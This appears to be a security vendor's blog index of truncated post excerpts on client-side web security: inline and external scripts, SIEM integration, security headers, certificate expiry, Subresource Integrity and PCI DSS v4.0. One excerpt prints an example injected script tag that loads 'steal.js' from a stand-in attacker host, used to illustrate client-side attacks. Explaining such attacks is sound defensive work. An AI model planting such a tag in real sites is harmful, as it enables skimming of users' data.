Inline scripts seem harmless. You’ve seen them: <button onclick=”checkout()”>Pay Now</button> But this convenience can come at a high cost. The Security Problem That’s why modern security policies discourage or block inline code. External Scripts: Safer, But Not Immune External scripts: <script src=”https://cdn.example.com/main.js”></script> ✅ Can be hashed✅ Can be gated via CSP✅ Can be audited over…
One Line Is All It Takes When we think of breaches, we imagine massive payloads or complex exploits. But in the client-side world, it often comes down to one dangerous line: <script src=”https://attacker.com/steal.js”></script> That’s it.A single injected <script> tag can: And worst of all — it often looks like any other third-party tag. Real-World Example:…
Measuring Risk is the First Step to Reducing It Security teams are flooded with alerts — but which issues deserve priority? That’s why Breachfin assigns a Web Risk Score to every domain, scan, and event. It’s your simple, consistent way to track progress, report to leadership, and spot high-risk areas instantly. What Goes Into the…
Your SIEM Can’t Stop What It Doesn’t See SIEMs are the heart of your threat detection strategy. They ingest logs, trigger alerts, and give your SOC a single pane of glass.But most SIEMs lack visibility into one crucial domain:Client-side integrity. That’s where Breachfin comes in. By integrating Breachfin’s alerts and insights with your SIEM, you…
Shift Left is Only Half the Battle The “shift left” movement has been revolutionary — empowering developers to build secure software earlier through CI/CD pipelines, static analysis, and container scanning. But many teams forget a critical truth:Threats don’t stop at deployment — and neither should security. Once your site is live, third-party scripts change, configurations…
Introduction When you think of web security, you probably think of securing code — JavaScript files, backend APIs, authentication logic. But here’s the truth:Web integrity isn’t just about code — it’s about the entire user interface. Modern client-side attacks don’t always involve uploading malicious files. Instead, they manipulate the Document Object Model (DOM) — the…
Introduction Your web application may use encryption, firewalls, and endpoint protection — but all of that can be bypassed if your HTTP security headers are misconfigured or missing. Security headers are low-effort, high-impact protections that instruct browsers how to behave when rendering your site. When set correctly, they mitigate risks like cross-site scripting (XSS), clickjacking,…
Introduction Every modern website uses SSL/TLS certificates to encrypt traffic and prove authenticity. But certificates don’t last forever — they expire, often in 90 days or a year. While certificate expiry may seem like a small oversight, the consequences are massive. When a certificate expires, it breaks user trust, disrupts payments, and can even result…
Introduction In today’s security climate, where supply chain attacks have become common and third-party code is everywhere, trust is no longer a default — it must be verified. That’s why modern security strategies, including PCI DSS v4.0 and Zero Trust Architecture, increasingly rely on mechanisms like Subresource Integrity (SRI). SRI is a simple but powerful…
By the Breachfin TeamPublished: July 21, 2025 Introduction The latest evolution of the Payment Card Industry Data Security Standard (PCI DSS v4.0) introduced new and updated requirements to address modern attack vectors — particularly those targeting client-side vulnerabilities. Two of the most important but often misunderstood controls are: Both are focused on protecting customer data…
